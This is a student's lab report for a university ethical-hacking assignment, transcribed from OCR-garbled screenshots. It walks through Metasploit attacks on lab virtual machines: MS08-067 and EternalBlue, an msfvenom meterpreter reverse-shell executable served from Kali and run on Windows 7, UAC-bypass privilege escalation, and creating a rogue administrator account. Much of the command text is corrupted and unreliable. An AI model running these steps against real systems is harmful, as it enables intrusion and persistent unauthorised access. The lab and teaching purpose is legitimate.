CYSE 301: Cybersecurity Technique and Operations

Assignment 4: Ethical Hacking

UIN: 01226601
Aiden West



At the end of this module, each student must submit a report indicating the completion of the following
tasks. Make sure you take screenshots as proof.
You need to power on the following VMs for this assighment.

* Internal Kali (Attacker)
e pfSense VM (power on only)
*  Windows XP, Windows Server 2022, or Windows 7 (depending on the subtasks).

Task A.  Exploit SMB on Windows XP with Metasploit (20 pt, 2pt each)

In this task, you need to complete the following steps to exploit SMB vulnerability on Windows XP.

1. Run a port scan against the Windows XP using the nmap command to identify open ports and
services.

2. lIdentify the SMB port number (default: 445) and confirm that it is open.

root@kali: ~

File Actions Edit View Help

—send-eth/-—-send-ip: Send using raw ethernet frames or IP packets
—privileged: Assume that the user is fully p:1111eged
—unprivi ed: Assume the user lacks raw socket privilege
-V: Print version number
-h: Print this help summary pag
EXAMPLES:
nmap -v -A Scanme.nmap.org
nmap -v -sn 19 68.0.0/16 10.0.08.0/8
nmap -v -iR 100@2 -Pn -p 8@
SEE-THE MAN PAGE (https://nmap.org/book/man.html) FOR MORE OPTIONS AND EXAMPL

o
P

"'t:|_{'1"|r'1cr Tl
Nmap scan 1
Host is up
Mot shown: clos
PORT STATE SERV Il._E
135/tcp open  mMsSrpc
' g netbios-ssn
tcp open microsoft-ds
MAC Address: @@:15:5D:4@:57:09 (Microsoft)

Mmap done: 1 IP address (1 host

3. Launch Metasploit Framework and search for the exploit module: ms08 067 netapi
4. Use ms08 067 _netapi as the exploit module and set meterpreter reverse_tcp as the payload.



Shell Ne. 1
Actions Edit View Help

o

8 payloads - 46 encoders - 11 nops

msf6 > search platform:

Matching Modules

£ MName
cription

ploit/windows/smb/ms@8 867 netapi
8-@067 Microsoft Server Service Relative Path

Interact with a module by name or index. For
i_-." 3 S L P —~ 1

fwindows/smb/ms®8_ @67 _netapil
: d,—defdllting to winduws/meternretes

5. Use 5525 as the listening port number. Configure the rest of the parameters. Display your
configurations and exploit the target.



> set LPORT 4428

} > exploit

Msf ::OptionValidateError The following options failed to wvalidate: RHOS
exploit( } =l set RHOSTS 192.168.10.14

Y > exploit

handler on 192.168.10.1: .
Automatically detecting the e
Fingerprint: Windows XP - Service Pack 3 - lang:Engli

L I
[0 e R B

(%]
(we]

Windows XP SP3 English (AlwaysOn NX)
trigger the wvulnerability ...
68.1@.14L
— 192.168.

[Post-exploitation] Execute the screenshot command to take a screenshot of the target machine
if the exploit is successful.



10.

Biode F Uyra ppeed - limusgee o' sewesr [ 107

« * 3

B — L, S

D,

- 1 Command Frempl

- e
" - r

i

-

[Post-exploitation] In the meterpreter shell, display the target system’s local date and time.
[Post-exploitation] In the meterpreter shell, get the SID of the user.

[Post-exploitation] In the meterpreter shell, get the current process identifier.
[Post-exploitation] In the meterpreter shell, get system information about the target.



: NT AUTHORITY\SYSTEM
> getpid

> sysinto
URb-JLFSIR
: Windows XP (5.1 Build 2688, Service Pack
%86
System Language : en_US
Domain : WORKGROUP

%86/ windows

Task B. Exploit EternalBlue on Windows Server 2022 with Metasploit (10 pt)

In this task, try to use the same steps as shown in the video lecture to exploit the EternalBlue
vulnerability on Windows Server 2022. You may or may not establish a reverse shell connection to the
Windows Server 2022 using the same method as hacking Windows Server 2008. Document your steps and
show me your results.



You won’t lose points for a failed reverse shell connection. But you will lose points for incorrect
such as putting the wrong IP address for LHOST/RHOST, etc.

configurations,

msfé > use exploit/windows/smb/ms17_ 9818 eternalblue

No payload configured, defaulting to windows/x64/meterpreter/reverse_
msfE exploit( } > showoptions

Unknown command: showoptions
msfE exploit( } > show options

Module options (exploit/windows/smb/msl17 010 eternalblue):
Name Current Setting Reguired Description

RHOSTS L arge (s), see https:
i m/docs/usi
Jusing-met

RPORT 445 WE e tars ort (TCP}
SMEDomain (Optional) The Windows domain
to use for authentication. Onl
affects Windows Server 2008
Windows 7, Windows Embedde
Standard 7 target machines.
SMEPass (Optional) The password for th
e specified username
SMEUser (Optional) The username to aut
henticate as
VERIFY_ ARCH true WE Check if remote architecture m



File Actions Edit View Help

msfe exploit(

Shell No. 1

) » show options

Module options (exploit/windows/smb/ms17 010 eternalblue):

Name Current Setting FReguired Description

RHOSTS 192.168.18.19

RPORT
SMEDomain

SMEPass
SMELser

VERIFY_ARCH true

VERIFY_TARGET true

yes

The target host(s), see htips:
/fdocs.metasploit.com/docs/usi
ng-metasploit/basics/using-met
asploit.html

The target port (TCP)
(Optional) The Windows domain
to use for authentication. Onl
y affects Windows Server 2008
RZ2, Windows 7, Windows Embedde
d Standard 7 target machines.
(Optional) The password for th
e specified username
(Optional) The username to aut
henticate as

Check if remote architecture m
atches exploit Target. Only af
fects Windows Server 2088 R2,
Windows 7, Windows Embedded 5t
andard 7 target machines.
Check if remote 0S5 matches exp
loit Target. Only affects Wind

Payload options (windows/x64/meterpreter/reverse tcp):

Name Current Setting

Required Description

EXITFUNC thread

LHOST 192.168.18.13

LPORT G444

Exploit target:

Name

Automatic Target

yEes

yes

yEes

Exit techniqgue (Accepted: , seh,
thread, process, none)

The listen address (an interface ma
y be specified)

The listen port




» exploit

TCP handler on 192.168.10.13:4444
192 .168.
192 .168.
he IPC§$ tree,
192.1658.1@.:
192 .168.18.1¢
Exploit complete
msf6 exploit( ) > 1

| set all the configurations, but could not find a way to make the target vulnerable. | set all the
configurations using the set LHOST, set RHOST, etc commands.

Task C. Exploit Windows 7 with a deliverable payload (70 pt).

In this task, you need to create an executable payload with the required configurations below.

1. Once your payload is ready, you should upload it to the web server running on Kali Linux and,
download the payload from Windows 7, then execute it on the target to make a reverse shell. Of
course, don't forget to configure your Metasploit on Kali Linux before the payload is triggered on
the target VM. (10 pt).

The requirements for your payload are :

e Payload Name: Use your MIDAS ID (for example, svatsa.exe) (5pt)
e Listening port: 5525 (5pt)

—p windows/meterpreter/reverse tcp lhost=192.168.10.13 lport=44;
L 0 Ccwest@i2.exe
-1 Mo platform was selected, choosing Msf ::Module::Platform::Windows from t
payload
-] No arch selecte ; %86 from the
No encoder ecifi outputting raw payload

Ce

[ B R |

73882 bytes

root root ;
HI—X root root
-Tw-T—1r— 1 root root 73




IauJ;‘11b-Jthnmd’5

(running) since Tue
httpd apache. axﬁfda:

; It—.U:r.{u

Main PID:
Tasks:
Memory :
CPLU:
CGroup:

(Limit: ?
.BM (peak: 'l om)

ok B

o T T

.5lice/apache2.service

Oct 29 19:42:
Oct 29 19:

Oct 29 19:42:

lines 1-28/20 (END)]




=

cuwest@32.exe Svar/ww/html

=

r/ww /html
index.html index.nginx-debian.html

-~

FSwew Shtml/index

west@3z
westd e.txt forcweste®

Jvar/www /html
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msft6e exploitl
payload = windows/meterp
mst6e exploitl

Module options (exploit/multi/handler):

Mame Current Setting Reguired Description

Payload options (windows/meterpreter/reverse_tcp}:
Name Current Setting Reguired Description
EXITFUNC process
LHOST

LPORT

Id MName

@

[Post-exploitation] Once you have established the reverse shell connection to the target Windows 7,
complete the following tasks in your meterpreter shell:
2. Execute the screenshot command to take a screenshot of the target machine if the exploit is
successful. (10 pt)



Index of /

e Last modified Slas Dascription
B oo e 3034-10-29 1931 TIK

dpachar 2 A4S (Dabisy Server of TP2 168 1. IT Fors 50

32.168.10.9:1069) at

Create a text file on the attacker Kali named "YourMIDAS.txt" (replace YourMIDAS with your
university MIDAS ID) and put the current timestamp in the file. Upload this file to the target's
desktop. Then, log in to Windows 7 VM and check if the file exists. You need to show me the
command that uploads the file. (10 pt)
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[Privilege escalation]
4. Background your current session, then gain administrator-level privileges on the remote system
(10 pt).



ad configured, defaulting to windows/me
ik } » set lport L4428
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: CP handler on 192.168.10.13:442

Led, checking level ...

o Default
BypassUAC can bypass thi
Part of Administrators

em. .. .

Uploading the bypa AC e able to the filesystem...
Meterpreter st T BXE able 2 bytes long g uploaded ..

5. After you escalate the privilege, complete the following tasks:
a. Create a malicious account with your name and add this account to the administrator
group. You need to complete this step on the Attacker Side. (10 pt)

reewi#l] LS Ll EE]

b. Remote access to the malicious account created in the previous step and browse the
files belonging to the user, "Windows 7", in RDP. (10 pt) You may follow the pdf for
Pen testing
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Task D. Extra Credit

Try to set up a reverse shell connection with Metasploit to Windows 10 (10 points). You can use the
technique we introduced in this class, or other exploits not covered by this course.



